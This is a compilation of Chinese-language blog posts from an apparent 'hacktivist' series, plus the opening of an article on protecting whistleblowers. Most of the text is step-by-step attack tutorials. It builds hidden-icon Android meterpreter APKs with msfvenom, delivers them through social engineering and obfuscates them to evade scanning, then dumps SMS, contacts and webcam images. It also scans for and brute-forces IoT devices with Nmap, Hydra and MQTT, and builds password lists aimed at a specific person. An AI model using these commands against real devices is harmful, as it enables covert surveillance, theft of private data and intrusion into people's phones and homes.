本集将分享一个很简单的教程，关于如何使用操作系统 Kali Linux 2.0 和 Metasploit（当您完成安装后已经存在于Kali Linux上），以入侵目标设备。

- 不要错过 《安装 Kali Linux 之后要做的10件事》

本演示将使用 msfvenom 创建有效载荷并将其另存为 apk 文件。生成有效载荷后，需要为 Metasploit 框架设置一个侦听器。

一旦目标下载并安装了恶意 apk，攻击者就可以轻松地在 Metasploit 上获得一个 meterpreter 会话。

攻击者需要进行一些社交工程，才能在受害者的移动设备上安装该 apk。所以您应该先对目标进行研究：关于对方最有可能上哪种当（TA喜欢什么、最想要什么、对什么东西最急切 ……）就从哪里下手。

- 关于 Metasploit 《社交工程工具用于开源情报调查：0基础初学者指南》

按步骤演示教程

「图」

步骤1：使用 msfvenom 生成有效载荷

「图」

首先启动 Kali Linux，以便生成一个 apk 文件作为有效载荷。需要检查本地 IP，本案例中显示为 “192.168.0.112”。您也可以通过互联网入侵 Android 设备，使用LHOST中的公共/外部IP和端口转发。

获得本地主机 IP 后请使用 msfvenom 工具，它将生成一个有效载荷，渗透 Android 设备。输入命令如下：

```
# msfvenom -p android/meterpreter/reverse_tcp
LHOST=192.168.0.112 LPORT=4444 R」 /var/www/html/
ehacking.apk
```

- **-p** 表示有效载荷类型
- **android/metepreter/reverse_tcp** 是在指定一个来自目标安卓设备的反向 meterpreter shell
- **LHOST** 是您的本地 IP
- **LPORT** 被设置为侦听端口
- **R」 /var/www/html** 将在 apache 服务器上直接给出输出
- **apk** 是输出的最终名称

生成将近一万字节的 apk 文件需要花点时间。

「图」

步骤2：发动攻击

「图」

在发起攻击之前，需要检查一下 apache 服务器的状态。输入命令：

```
# service apache2 status
```

看起来准备好了，现在启动 msfconsole。使用多重/处理程序漏洞利用，将有效载荷设置为与预先生成的相同，设置LHOST和LPORT值与有效载荷中使用的相同，最后键入漏洞利用以发起攻击。

「图」

在现实中，可以使用一些社交工程操纵手段，以诱使目标用户下载恶意apk文件。本演示中只是直接访问目标人的设备以在该设备中下载文件（恶意女仆方式）。

成功下载后，选择要安装的应用程序。

到目前为止，当尝试安装某些第三方应用程序时，经常会看到此选项，然而，通常用户会毫不犹豫地允许来自未知来源的安装。

启用设置以从第三方来源安装应用程序。最后点击底部的安装选项。

一旦用户安装了该应用程序并开始运行，就会立即在攻击方打开 meterepreter 会话。

「图」

步骤3：后开发

「图」

键入“background”，然后键入“sessions” 可以看到列出了连接到机器的所有IP 的所有会话。

「图」

您可以通过输入 **sessions -i [session ID]** 与任何会话进行交互。

进入会话后，键入“help” 以列出我们可以在此会话中提出的所有命令。

您会看到一些文件系统命令，这些命令在尝试获取一些敏感信息或数据时会非常有用。通过使用这些命令您可以轻松下载或上传任何文件或信息。

您还将找到一些网络命令，包括 portfwd 和 route：

「图」

一些强大的系统命令可获取用户ID、获取Shell、或获取完整的系统信息。

输入“app_list”，它将显示目标设备上所有已安装的应用程序：

您还可以从目标 **Android** 设备上卸载任何应用：

「图」

步骤4：从目标 Android 设备提取联系人

「图」

现在通过键入 “转储” 和双标签，从目标设备中提取一些联系人：

「图」

它将显示从目标设备提取的所有选项。输入“dump_contacts” 然后回车：

「图」

它将从目标 Android 设备中提取所有联系人，并将其保存在攻击者的本地目录中。

要查看此文件，请键入 “ls” 和 “cat [file_name]”

这将显示先前从目标设备下载的联系人文件的内容。

此信息确实很敏感，很容易被利用。再次强调，您的重要联系人切勿

保存在手机通讯录里面，并不是必需等到被入侵它才是危险的，要求甚至秘密读取通讯录权限的应用非常多，它们每一个都会出卖您 ——连锅端的重大隐患。

- 更多解释见 《“如果你不偏执，那就是疯了”》

meterpreter 中提供了许多其他命令。您可以进一步尝试探索和学习可以在目标 Android 设备上执行的操作。

现在得出的结论是，我们已经使用 Kali Linux 和 Metasploit-Framework 成功渗透了Android设备。

保护您的 Android 设备安全的一个重要提示是，即使您确实要安装，也不要从未知来源安装任何应用程序，请尝试阅读并检查其源代码，以了解此文件是否恶意。

- 《如何保持 Android 设备免受警察的侵害》
- 《如何通过一些设置预防iPhone被盗或被警方查抄所造成的损失？》

○□

How To Hack Android Smartphone Using Kali Linux and Metasploit

原文

如何入侵监视摄像头和物联网设备：黑客主义行动力（15） - iyouport

hacktivist黑客主义

【2020年10月23日存档】关于黑客如何能够监视人们的日常生活，远程打开恒温器、电灯、车库门 ..... 并说明防止黑客攻击的基本方法。还有一个有关如何入侵20种设备的视频。

欢迎回来！

如果您还没有读过前面的部分，在这里看到：

- 《Mr.Robot 如何摧毁邪恶公司？- 黑客主义行动力（1）》
- 《Elliot 如何骇客邪恶公司并保证无法被反向追踪：黑客主义行动力（2）》
- 《如何全面间谍任何人的智能手机私密活动—黑客主义行动力（3）》
- 《如何在音频文件中隐藏秘密信息：黑客主义行动力（4）》
- 《如何破解蓝牙打开监狱大门：黑客主义行动力（5）》
- 《“融化” 所有债务 .....如何构建黑客树莓派 — 黑客主义行动力（6）》
- 《充分了解你的攻击目标：进行电子邮件侦查的简单方法 - 黑客主义行动力（7）》
- 《如何获取任何人的Wi-Fi密码而无需破解：黑客主义行动力（8）》
- 《如何发送欺骗性短信？- 黑客主义行动力（9）》
- 《如何入侵目标的电子邮件和银行账户：黑客主义行动力（10）》
- 《如何黑入汽车：黑客主义行动力（11）》
- 《如何控制目标人的安卓手机：黑客主义行动力（12）》
- 《如何自动扫描易受攻击的设备-黑客主义行动力（13）》
- 《如何入侵安卓手机：黑客主义行动力（14）》

5G时代已经来临，所有设备都倾向于联网。目前已经有越来越多的在线设备暴露给了恶意行为者。

迄今为止，闭路电视摄像机是最具针对性的设备，但是新的骇客趋势集中在家庭物联网设备上。

本文将揭示黑客如何能够监视人们的日常生活，远程打开恒温器、电灯和车库门 …… 并说明防止黑客攻击的方法。还有一个有关如何入侵20种设备的视频。

免责声明：未经允许的入侵是非法的！本文仅用于教育目的，是为说明物联网设备的安全性问题，提高人们的防御意识。据此知识进行操作所产生的任何后果，我们不承担责任。

黑客的物联网目标

「图」

黑客针对的最常见设备包括以下这些：

- 网络监视摄像头（CCTV）
- 无线打印机
- 无线NAS和路由器
- 婴儿监视器
- 智能家居助手
- 智能恒温器
- 智能门锁
- 智能门铃
- 智能灯开关
- 智能烟雾报警器
- 传感器
- 健身电子设备
- 健康管理电子设备

如何找到闭路电视摄像机和物联网设备

「图」

1、使用 Google Dorks 检测设备

「图」

上图中这本书在这里下载：https://www.patreon.com/posts/ai-zi-shi-zhi-de-38193081

上图这份手册在这里下载：https://www.patreon.com/posts/zui-xin-de-lie-38192288

定制的 google dorks 用来帮助您查找物联网设备是最好用的一种方式。

最简单方法是在 Google Hacking Database 中找到一个名为 “Various online Devices” 的类别。

- 摄像头intitle:”webcam 7″ inurl:’/gallery.html’
- 恒温器intitle:”Status & Control” + “Thermostat Status”
- 路由器intitle:”D-Link ADSL Router” “Firmware Version” “D-Link Systems, Inc.”

网络扫描

「图」

几乎所有的IoT设备都在 TCP / IP 协议栈上运行可由网络扫描程序检测到的服务。 Nmap 是一个开源软件，用于网络探测和安全审核。

Nmap 具有无数功能，可帮助黑客检测开放端口、正在运行的服务、以及所使用的操作系统。此外，它还可以识别目标是否隐藏在防火墙后面。

每个物联网设备或CCTV监视摄像机都在不同的端口上运行并使用不同的守护进程。创建可枚举所有可用设备的 Nmap 命令并非易事。

本文建议的用于枚举绝大多数物联网设备和CCTV监视摄像机的超快速 Nmap 命令如下：

```
nmap -T5 --max-parallelism 10 -P0 --max-rtt-
timeout 1s --open -sV -p
80,8080,8081,8082,8083,9550

Explanation of the flags :
```

-T5 : Timing Template (higher is faster)

--min-parallelism/max-parallelism 「numprobes」: Probe parallelization

--min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout 「time」: Specifies

--open: Only show open (or possibly open) ports

-sV: Probe open ports to determine service/version info

-p 「port ranges」: Most common port of IoT devices

结果非常有趣，即使通过扫描小型子网，也能够检测到媒体服务器、DSL路由器和网络摄像头。

PORT STATE SERVICE VERSION

80/tcp open http Hikvision DVR web UI

Service Info: Device: media device

PORT STATE SERVICE VERSION

80/tcp open http TP-LINK embedded httpd

PORT STATE SERVICE VERSION

80/tcp open http nginx

PORT STATE SERVICE VERSION

8080/tcp open http Hikvision Network Video Recorder http admin

Service Info: Device: webcam

PORT STATE SERVICE VERSION

80/tcp open http

```
1 service unrecognized despite returning data.
```

专门的搜索引擎

「图」

查找物联网设备和CCTV摄像机的最简单方法是通过 Shodan, Zoomeye 和 Censys 等专门的搜索引擎。

上图中这本书在这里下载：https://www.patreon.com/posts/xiao-e-mo-wan-38190098

上图中的内容在这里看到：https://www.patreon.com/posts/ru-he-kui-tan-38190123

这些搜索引擎使您可以使用各种过滤器查找连接到互联网的特定类型的计算设备 —— 摄像头、路由器、服务器等。

Shodan 是一个非常强大的工具，使用它应格外小心。下面这个查询中可以找到数千个摄像机IP：

这些搜索引擎几乎可以索引所有内容：

- 摄像头
- 水处理设施
- 游艇
- 医疗设备
- 红绿灯
- 风力发电机
- 卫星
- 智能电视
- 媒体服务器
- 电冰箱
- 拥有公共IP的一切 ……

所有这些搜索引擎都有在线API；它们支持针对特定端口、操作系统、协议或特定字符串的过滤查询。

- 《你家冰箱如何作为呈堂证供？》

现实中有无数的物联网设备和网络摄像机配置错误，结果是不需要凭据即可访问其控制面板。一旦找到IoT IP，就已经可以进入。

「图」

暴力破解

「图」

许多被发现的物联网设备具有受密码保护的管理面板，例如以下恒温器：

Hydra 是一个并行的登录破解程序，它支持多种协议进行攻击，新的模块很容易添加，非常快速和灵活。十年来它一直被视为“经典”黑客工具。它可以通过暴力轻松破解物联网设备，如下所示：

```
root@kali ~# hydra -t 10 -I -C passwords.txt
73.110.xx.xx -s 84 http-get "/index.shtml"

Hydra v8.6 (c) 2017 by van Hauser/THC - Please do
not use in military or secret service
organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at
2019-10-30 19:53:32

[DATA] max 10 tasks per 1 server, overall 10
tasks, 49 login tries, ~5 tries per task

[DATA] attacking http-get://73.110.xx.xx:84//
index.shtml

[84][http-get] host: 73.110.xx.xx login: admin
password: xxxx

1 of 1 target successfully completed, 1 valid
password found

Hydra (http://www.thc.org/thc-hydra) finished at
2019-10-30 19:54:21
```

使用MQTT入侵物联网

「图」

MQTT 是开放式OASIS和ISO标准的轻量级发布/订阅网络协议，可在设备之间传输消息。它设计为硬件性能低下的远程设备以及网络状况糟糕的情况下的数据传输。

MQTT 体系结构由客户端和代理组成。代理是从客户端接收所有消息，然后将消息路由到订阅的客户端。

MQTT 客户端可以是任何运行有 MQTT 库并通过网络连接至消息代理的设备，例如微型控制器或大型服务器。

信息的传输是通过主题（topic）管理的。发布者有需要分发的数据时，其向连接的消息代理发送携带有数据的控制消息。代理会向订阅此主题的客户端分发此数据。发布者不需要知道订阅者的数据和具体位置；同样，订阅者不需要配置发布者的相关信息。

通过网络扫描程序（例如 Nmap）可以很容易找到 MQTT 代理。

```
$nmap -T5 --max-parallelism 10 -P0 --max-rtt-
timeout 1s --open -sV -p 1883 「ip」
```

找到无密码代理后您就可以使用MQTT客户端连接并订阅所有主题。甚至可以使用 paho-mqtt 库通过 python 脚本来创建客户端。

```
import paho.mqtt.client as mqtt

def on_connect(client, userdata, flags, rc):

print("Connected with result code "+str(rc))

client.subscribe("$SYS/#")

def on_message(client, userdata, msg):

print(msg.topic+" "+str(msg.payload))

client = mqtt.Client()

client.on_connect = on_connect

client.on_message = on_message

client.connect("「Broker IP」", 1883, 60)
```

```
client.loop_forever()
```

这里将使用MQTT客户端 MQTT Explorer 连接到其中一个发现的代理，它将自动订阅所有可用主题。 MQTT主题是一种寻址方式，它允许MQTT客户端共享信息，它们具有如下所示的层次结构。

每个主题的分支都由传感器设备产生的数据组成，例如湿度、运动、电池等。显然，无密码代理是高风险的漏洞，但情况还可能更糟。MQTT 协议支持传输有效载荷以更新远程设备的状态。例如，您可以通过发布相关请求来远程打开车库灯 …… 选项数不胜数。

「图」

黑客可以通过不受保护的MQTT代理轻松控制所有物联网设备。

视频：如何在45分钟内破解20台设备

「图」

如何保护您的物联网设备

「图」

关于物联网安全，没有万灵药；但下面的总结是保护IoT设备的最重要方法：

- 始终购买注重安全性并定期发布更新的IoT品牌
- 保持IoT设备的固件和软件为最新版
- 启用所有管理员面板的身份验证
- 为MQTT连接启用加密
- 如果您的设备支持两因素身份验证那就启用它
- 始终使用足够长且复杂的密码
- 不要使用默认端口
- 不要使用默认的用户名和密码
- 禁用所有不需要的功能
- 不要在互联网上发布内部服务器
- 使用VPN隐藏您的服务器

不要错过：《新的智能手机应用程序帮您迅速发现物联网中的间谍设备》。

结论

「图」

安全是物联网和闭路电视摄像机的一大挑战。网络攻击只会不断增加，并且可能会集中在较小的设备上。如果攻击者能控制您的设备，他们就能控制您的家。

在您最重要的最敏感的地方尽可能少地使用物联网设备，如果必须使用，请至少做到上述这些保护。危险会层出不穷，攻击者都是极具创意的人，他们总是能找到突破口。因此，安全意识应该不断升级。〇

How to hack CCTV cameras and IoT devices

原文

艾略特如何破解每个人的密码：黑客主义行动力（16） - iyouport

hacktivist黑客主义

【2020年11月13日存档】您喜欢听谁的歌或喜欢哪个影星的事，也最好别让别人知道……

欢迎回来！

如果您还没有读过前面的部分，在这里看到：

- 《Mr.Robot 如何摧毁邪恶公司？- 黑客主义行动力（1）》
- 《Elliot 如何骇客邪恶公司并保证无法被反向追踪：黑客主义行动力（2）》
- 《如何全面间谍任何人的智能手机私密活动—黑客主义行动力（3）》
- 《如何在音频文件中隐藏秘密信息：黑客主义行动力（4）》
- 《如何破解蓝牙打开监狱大门：黑客主义行动力（5）》
- 《“融化” 所有债务 ……如何构建黑客树莓派 — 黑客主义行动力（6）》
- 《充分了解你的攻击目标：进行电子邮件侦查的简单方法 - 黑客主义行动力（7）》
- 《如何获取任何人的Wi-Fi密码而无需破解：黑客主义行动力（8）》
- 《如何发送欺骗性短信？- 黑客主义行动力（9）》
- 《如何入侵目标的电子邮件和银行账户：黑客主义行动力（10）》
- 《如何黑入汽车：黑客主义行动力（11）》
- 《如何控制目标人的安卓手机：黑客主义行动力（12）》
- 《如何自动扫描易受攻击的设备-黑客主义行动力（13）》
- 《如何入侵安卓手机：黑客主义行动力（14）》
- 《如何入侵监视摄像头和物联网设备：黑客主义行动力（15）》

在 Mr. Robot 中，Elliot 似乎能够破解每个人的密码。对于任何试图破解密码的人来说，您都知道这并不容易。在没有GPU集群的情况下，对付长而复杂的密码是很费时费力的。

虽然字典攻击很容易，几分钟就能完成，但拥有字典词型密码的账户越来越少。现在，更多的用户已经明白要使用数字和特殊字符来令自己的密码变得更复杂，使之更难以被破解。

那么 Elliot 可以如何快速破解目标的密码？

最常用的密码

「图」

在尝试任何密码破解或者说任何黑客行为之前，先制定一个策略是必需的。

任何密码破解策略的第一步是先尝试最常见的密码。人类往往很少花心思和精力去创造独特的密码，并且，人类分享了地球上数十亿人共同的基因和思维模式，因此，相同的密码有可能年复一年地在多个平台上重复出现。从暗网中销售的数据堆中发现的数十亿个密码就能证明这点。

当然，那些常用的密码列表只涵盖30%的用户，不会对所有的账户都有效，下一步就是创建一个专门针对目标个人的自定义词表。至少有三种方法可以做到这一点：# 使用Crunch字符模式创建一个自定义密码列表。

- 根据目标人的网页或推特feed创建一个自定义密码列表。
- 根据从社交媒体上收获的数据，创建一个自定义词表。

1. @ 将插入小写字符

- ，将插入大写字母
- % 将插入数字
- ^ 将插入符号

Elliot 知道他的攻击目标喜欢鲍勃-迪伦，可能会在她的密码中使用这个偶像的名字。知道这一点后，Elliot 可能会用 “dylan” 这个词创建一个密码列表，然后在后面跟上四个数字（也许是她的生日？），他可以这样创建这个9个字符的密码列表：

```
kali 」 crunch 9 9 -t dylan%%%% -o
kristacrunchlist.txt
```

从输出中可以看到，crunch 创建了一个列表，其中包含了 “dylan” 后面4个数字的所有可能性，并创建了一个10万字节的密码列表（10000个密码）。

当使用 crunch 时，您必须小心，不要要求它做太多。您需要更为具体的要求。例如，如果 Elliot 要求 crunch 生成一个以4个小写字母（@）开头的13个字符，后面跟着4个数字（%）的密码列表，crunch 会生成一个59GB的列表！这有点笨重，而且可能不是一个很有用的列表。

「图」

2、CeWL

「图」

CeWL是 Robin Wood 的自定义词表。这个简单而优雅的工具是一个Ruby脚本，它可以从目标人的网站或行业网站上抓取单词，收获符合一定标准的单词，使其成为潜在密码的一部分。要考虑包括单词长度。很少有人会围绕一个4个字母的单词建立一个安全的密码，对吧？要有策略。

这里的意思是，人们经常围绕着自己行业内常用的词语来构建密码。例如，网络安全行业内部的人可能会使用 “蜜罐”、”漏洞”、“利用” 等词语。你懂的。

人们认为这些专门的词汇不太可能出现在黑客的词表中。他们很可能是对的，但黑客可以弥补这个缺陷。只需从目标人的网站（或推特账号）上搜刮出这些专业词汇即可。

为了演示 Elliot 如何使用它，我们将以 Krista 和她的网站 www.kristas-office.com 为目标（不是一个真实的网站）。想法是从该网站上搜刮出可能是该行业特有的词汇。

首先看一下 cewl 帮助页面，以获取有关如何使用此工具的线索。

```
kali 」 cewl -h
```

如您所见，cewl 有很多选项，但是我们可以将该工具的句法简化为：

```
cewl [options] URL -o 「output file」
```

使用 CeWL 的两个关键选项是深度和最小字长。深度选项告诉 CeWL 希望涉及目标网站多少子目录，最小值则指示该工具忽略小于一个最小长度的字。

为了让 Elliot 从 www.kristas-office.com 抓取这些潜在的密码，他可以输入；

```
kali 」 cewl -d 4 m 8 [[https://kristas-office.com|https://kristas-office.com/]] -w psychwords
```

「图」

过了好一阵子，CeWL 完成了它的任务，建立了一个密码列表。要查看这个列表，我们可以简单的使用 cat、vim、more 或 less、以及 Leafpad 等文本处理程序，打开密码列表。

```
kali 」 cat psychwords
```

此外，我们还可以利用这个列表，在 crunch 中使用它来创建一些潜在的密码，使用字符模式。

3、 cupp

「图」

最后一个，也是最有效的密码词表创建工具是 cupp。cupp 将您通过开源技术收集到的个人信息，并根据常见的munging做法创建一个自定义词表。

与前两个工具不同的是，cupp 并没有安装在 Kali 上，也不在 Kali 库中。因此需要从 github 上获取，在 Mebus 的库那里。

「图」

```
kali 」 git clone [[https://github.com/ebus/cupp|https://github.com/ebus/cupp]]
```

下一步是导航到新的 cupp 目录。

```
kali 」 cd cupp
```

现在，我们通过输入以下内容启动 cupp 交互式控制台

```
kali 」 cupp.py -i
```

如上图所示，cupp进入交互模式，并开始问你关于目标的问题。Elliot 知道他的治疗师 Krista Gordon 的名字，并将其输入，然后 cupp 询问目标的生日。

Elliot 可以通过许多开源情报基本调查获得这些数据，如 Facebook、Twitter 和其他社交网站，也就是社交媒体情报，包括各种在线人员搜索。

Elliot 也知道目标人的 “男友” 叫 Michael，Michael 使用的昵称是 “Mike”。Elliot 还可以从开源情报技术中了解到目标人非常喜欢鲍勃-迪伦。当 cupp 询问我们是否要添加任何关键词时，可以添加这些信息。在这里输入 “Dylan”。

在问了几个问题之后，cupp 开始生成这个自定义词表。它的速度相当快，生成的3980个单词很容易管理。可以通过显示文件 krista.txt 来查看它们。

然后，它会继续根据目标人的姓名、昵称和出生日期来生成可能的密码。

Elliot 现在为他的治疗师 Krista 生成了一个定制的密码列表，可以在任何密码破解工具中使用。

最后一步

「图」

最后，Elliot 可以组合这三个列表，并使用 cat 和 (」) 创建潜在密码的组合列表。

```
kali 」 cat kristacrunchlist psychwords krista 」
kristapasswordlist
```

「图」

Elliot 现在将所有这些潜在的密码组合到一个密码列表中，可以在诸

如 hashcat、THC-Hydra 或任何其他密码破解工具中使用它。〇

Mr. Robot Hacks, Part 7: How Elliot Hacks Everyone’s Password

原文

尝试 Metasploit入侵Android移动设备：黑客主义行动力（17） - iyouport

hacktivist黑客主义

Metasploit致力于攻破任何系统，本文仅以安卓为例

欢迎回来！

如果您还没有读过前面的部分，在这里看到：

- 《Mr.Robot 如何摧毁邪恶公司？- 黑客主义行动力（1）》
- 《Elliot 如何骇客邪恶公司并保证无法被反向追踪：黑客主义行动力（2）》
- 《如何全面间谍任何人的智能手机私密活动—黑客主义行动力（3）》
- 《如何在音频文件中隐藏秘密信息：黑客主义行动力（4）》
- 《如何破解蓝牙打开监狱大门：黑客主义行动力（5）》
- 《”融化” 所有债务 ……如何构建黑客树莓派—黑客主义行动力（6）》
- 《充分了解你的攻击目标：进行电子邮件侦查的简单方法—黑客主义行动力（7）》
- 《如何获取任何人的Wi-Fi密码而无需破解：黑客主义行动力（8）》
- 《如何发送欺骗性短信？- 黑客主义行动力（9）》
- 《如何入侵目标的电子邮件和银行账户：黑客主义行动力（10）》
- 《如何黑入汽车：黑客主义行动力（11）》
- 《如何控制目标人的安卓手机：黑客主义行动力（12）》
- 《如何自动扫描易受攻击的设备—黑客主义行动力（13）》
- 《如何入侵安卓手机：黑客主义行动力（14）》
- 《如何入侵监视摄像头和物联网设备：黑客主义行动力（15）》
- 《艾略特如何破解每个人的密码：黑客主义行动力（16）》

【注】此前我们上传过一本2021年的新书，您可以在这里下载《Mastering Metasploit: Exploit systems, cover your tracks, and bypass security controls with the Metasploit 5.0 framework, 4th Edition》。Metasploit致力于攻破任何系统，本文仅以安卓为例。

在过去的10年里，移动设备市场的增长非常迅猛。从2007年苹果手机的诞生开始，到2020年，移动设备已经占到所有网络流量的50%以上。地球上的移动设备使用数量约占世界人口的3/4。在这些移动设备中，75%使用Android操作系统。鉴于安卓系统在市场上的主导地位，将移动黑客攻击的重点放在这个占主导地位的操作系统上是非常合适的。

本教程中将使用 Metasploit 来入侵Android设备，如平板电脑和手机。正如您所看到的，成功入侵后您就能够收集目标人的短信、联系人列表、位置、甚至打开他们的网络摄像头。

截至2020年，恶意应用仍然是入侵安卓移动设备的最常见方法，近80%的攻击都是这些应用的结果。安卓用户越来越发现需要安装第三方应用，因为他们想尝试 Google Play 商店中没有的独特应用。

安卓用户只需按照以下步骤，就可以启用第三方应用的下载和安装：

1. 打开 Android 设备设置。

2. 选择应用程序和通知选项。

3. 启用 “未知来源” 选项，即可。

注：如果您在应用程序和通知标签下找不到这个选项，那么请尝试在设备 “安全部分” 找到它。

本教程将开发自己的恶意APK，然后必须诱导用户从第三方应用中安装、或由攻击者物理安装。

步骤1：寻找 Android 漏洞利用

「图」

第一步是搜索 Metasploit 寻找 Android 漏洞利用。

在 Metasploit 中，有许多用于黑客入侵 Android 的漏洞。用以下方法快速搜索：

```
msf 」 search type:exploit platform:android
```

如您所见，Metasploit中至少有12个针对Android操作系统的漏洞利用。

步骤2：寻找Android有效载荷

「图」

Metasploit有许多有效载荷，这些有效载荷是针对操作系统和漏洞利用的。如果要入侵Android系统，那么您将需要一个Android的有效载荷。

您可以通过搜索找到Android特定的有效载荷：

```
msf 」 search type:payload platform:android
```

有许多Android特定的有效载荷，包括 payload/android/meterpreter/reverse_tcp，我们将在这里使用它，但其他的也可以使用。

步骤3：建立一个APK文件

「图」

入侵Android系统最简单的方法之一是创建一个.apk（Android PacKage）文件，并让目标将其安装到他们的Android手机或平板电脑上。这通常是通过物理访问他们的手机或通过社交工程操纵（“你好，这里是技术支持。我们已经检测到您手机上的异常活动，需要安装一个技术支持应用来监测这一活动 ……” 等等，根据您对目标的具体情况的了解选取最有可能让其中招的方法。侦查永远是最重要的第一步）。

您可以使用 Metasploit 中的 msfvenom 工具来创建自定义的有效载荷。在本案例中，我们将把 payload/android/meterpreter/reverse_tcp 转换为Android.apk文件。

要做到这一点，请输入以下命令：

```
msf 」 msfvenom -p android/meterpreter/reverse_tcp
AndroidHideAppIcon=true AndroidWakeLock=true
```

```
LHOST=192.168.1.101 LPORT=6996 -f raw -o
HackersAriseMalwareApp.apk AndroidMalware.apk
```

「图」

其中：

msfvenom 创建恶意有效载荷的命令

-p android/meterpreter_reverse_tcp 安卓有效载荷的名称

AndroidHideAppIcon＝true 该选项可以让攻击者隐藏应用程序的图标，不让用户看到

AndroidWakeLock＝true 这个选项可以防止手机进入 “睡眠” 状态

LHOST＝192.168.1.101 这是攻击者的IP地址（Kali）

LPORT ＝6996 这是与攻击者通信的端口

-f raw 这将创建原始格式 (-f)的有效载荷

-o HackersAriseMalwareApp.apk 这是要输出(-o)的应用程序的名称

请注意，这个输出中会抱怨 “没有选择平台” 和 “没有选择arch”，但 msfvenom 很聪明，可以从您选择的有效载荷中知道平台是 Android，架构是Dalvik。

关于如何使用 msfvenom 创建自定义有效载荷的更多内容可以参看这里的教程。

步骤4：设置一个 Multi Handler 监听器

「图」

现在您已经构建了嵌入Android有效载荷的.apk，需要在系统上打开一个监听器，当 HackersAriseMalwareApp.apk 安装并执行时，接受来自 HackersAriseMalwareApp.apk 的连接。

您需要设置一个.rc脚本来自动启动并打开一个监听器以接受攻击者的 Metasploit 的外部连接。如果您已经这样做了，现在可以通过输入以

下内容来启动它：

```
msf 」 resource handler_http.rc
```

如果您还没有监听器脚本，可以通过输入以下命令来启动一个监听器：

```
msf 」use exploit/multi/handler msf 」set PAYLOAD
android/meterpreter/reverse_tcp msf 」set LHOST
192.168.1.101 msf 」 set LPORT 6996 msf 」 exploit
```

您必须确保 PAYLOAD、LPORT 和 LHOST 与您在 msfvenom 中创建.apk文件时使用的相同。

步骤5：将 HackersAriseMalwareApp.apk 交付给目标

「图」

下一步，当然是将 .apk 文件传送到目标的移动设备上。如果您可以物理访问目标设备，只需安装 HackersAriseMalwareApp.apk。否则，您需要通过电子邮件或DropBox或其他方式将其发送给目标。

需要注意的是，这个文件很可能会被Gmail和其他电子邮件服务标记为恶意软件。因此，考虑用 OWASP-ZSC 或其他混淆软件（如 shellter 或 Veil-Evasion）重新编码有效载荷。

此外，您甚至可能会考虑在自己的网站上托管.apk，并鼓励人们下载它。

步骤6：入侵目标系统

「图」

一旦目标安装了.apk，您应该得到一个像下面这样的 meterpreter 提示。然后可以输入命令 sysinfo 来验证您是在Android设备上。

```
meterpreter 」 sysinfo
```

「图」

然后可以输入 help 以查看所有 Android meterpreter 命令：

meterpreter 」 help

请注意，在 Android Meterpreter 中提供了一些独特的选项，例如：

dump_calllog dump_contacts dump_sms geolocacte send_sms

这些命令使您能够看到目标在此设备上的任何行为，以及找到他们的位置。这个 meterpreter 还能够使用其他一些标准的命令，例如：

record_mic webcam_snap webcam_stream ''步骤7：从 Android 设备收集数据 ''

先从获取目标的文本消息开始：

meterpreter 」 dump_sms

「图」

现在，获取目标人的联系人列表：

meterpreter 」 dump_contacts

「图」

最后，尝试利用目标的网络摄像头，以便以后您可以从中捕捉照片：

meterpreter 」 webcam_list

「图」

现在您得到了设备上的网络摄像头列表，可以使用 meterpreter 命令 webcam_snap 和网络摄像头编号，以便（比如）从后置摄像头拍摄目标的照片：

meterpreter 」 webcam_snap 1

结论

「图」

作为世界上使用最广泛的黑客/渗透测试平台，Metasploit 有能力入侵几乎所有的系统，当然包括Android移动设备。您可以创建一个恶

意的.apk文件，当目标安装该应用程序时，您就可以几乎完全不受限制地访问他们的短信、联系人和网络摄像头。

黑客行动主义完全为安全和正义而来，不允许任何恶意使用。〇

—— 持续更新 ——

Exploiting Android Mobile Devices

原文

(公民)调查记者如何与吹哨人合作：7点提示 - iYouPort

护盾（AS）

本文中所指的“记者”和“媒体”均为公民记者和独立媒体。大多数情况下您无法依赖职业媒体协助曝光；您揭露的信息越是重要，就越是如此

「图」

「图」

吹哨人是新闻生态系统的重要组成部分，是调查人员 —— 不论是职业调查记者还是公民调查人员 —— 最强大的力量。这些人是内部人士，他们可以获取当权者的腐败内幕或不法行为的机密信息，通过调查记者将其公之于众。

但是与吹哨人一起工作需要非常小心，不论是技术安全方面和操作流程。

- 不要错过《简易吹哨平台传输泄漏数据：洋葱汤指南》

本文总结一些基本的提示，以帮助您的工作。透明度革命是一个成熟的跨国运动，有相当多的资源可以帮助您，搜索 “Whistleblower” 以找到它们。或者参见我们的 "列表-5 “透明度革命”" 板块。

(1) 了解法律

与吹哨人合作的第一步是了解相关的保护性法律和政策。

例如，尼日利亚有一些关于吹哨保护的国家法律，包括2017年通过的《吹哨人保护法案》，但尚未签署成为法律。该法案旨在确保吹哨人和因举报而遭受报复的人受到法律保护。

尼日利亚还在2016年推出了 “吹哨人政策”，要求对提供腐败相关的

违法行为线索的公民给予补偿，金额为追回金额的2.5–5%。

许多其他国家都有自己的吹哨人法律。记者有责任了解这些法律及其运作方式，以便为与吹哨人的合作做好准备。例如，美国有《虚假申报法》和《多德·弗兰克法案》，其中包括关于保护举报人的宽泛法律框架。

这意味着当您因此被捕时，您可以知道如何辩护 —— 请注意，有法律并不意味着就能保护您的安全，您在做正确的事也并不意味着就不会进监狱。这基本无需更多解释了。

这些法律可能很复杂，如果您在理解这些法律的含义方面遇到困难，请教法律专家会有很大帮助。透明国际组织在全世界50多个国家设有"若干宣传和法律咨询中心"，为有兴趣举报腐败的公民提供支持，但它们也可以作为调查记者应对类似挑战的资源。

(2) 尊重匿名需求

揭露政权内部的不法行为是非常危险的，吹哨人会因此而面临致命的攻击和惩罚。

- 在这里看到一些案例《他们是如何抓捕说真话的人？灾难和教训》

因此，当举报人要求匿名时，作为调查记者，保护他们的安全就是您的义务。

如果您没有或不能保护吹哨人的匿名性，就会使他们处于危险之中，您就会因此失去公信力；如果有人因为和你合作揭露秘密而被捕，你和你的组织就会因此信誉破产，被今后任何类型的吹哨人拒绝。

在2016年的一份报告中，伦敦大学高级法律研究所的信息法律和政策中心发布了一份题为 “在数字时代保护消息来源和举报人” 的报告，该报告建议记者和新闻机构至少应做到：

- 采取政策行动，调查新闻组织应不断推动现有局限性法律的修订更新，以维护吹哨人行动的合法性；
- 随着技术的发展和变化，应不断评估调查记者与匿名消息来源互动的方式是否足够安全；
- 在一线工作的调查记者应接受足够的安全保护培训，安全知识应及时更新，并尽可能确保记者按照标准操作，将安全纳入习

惯。

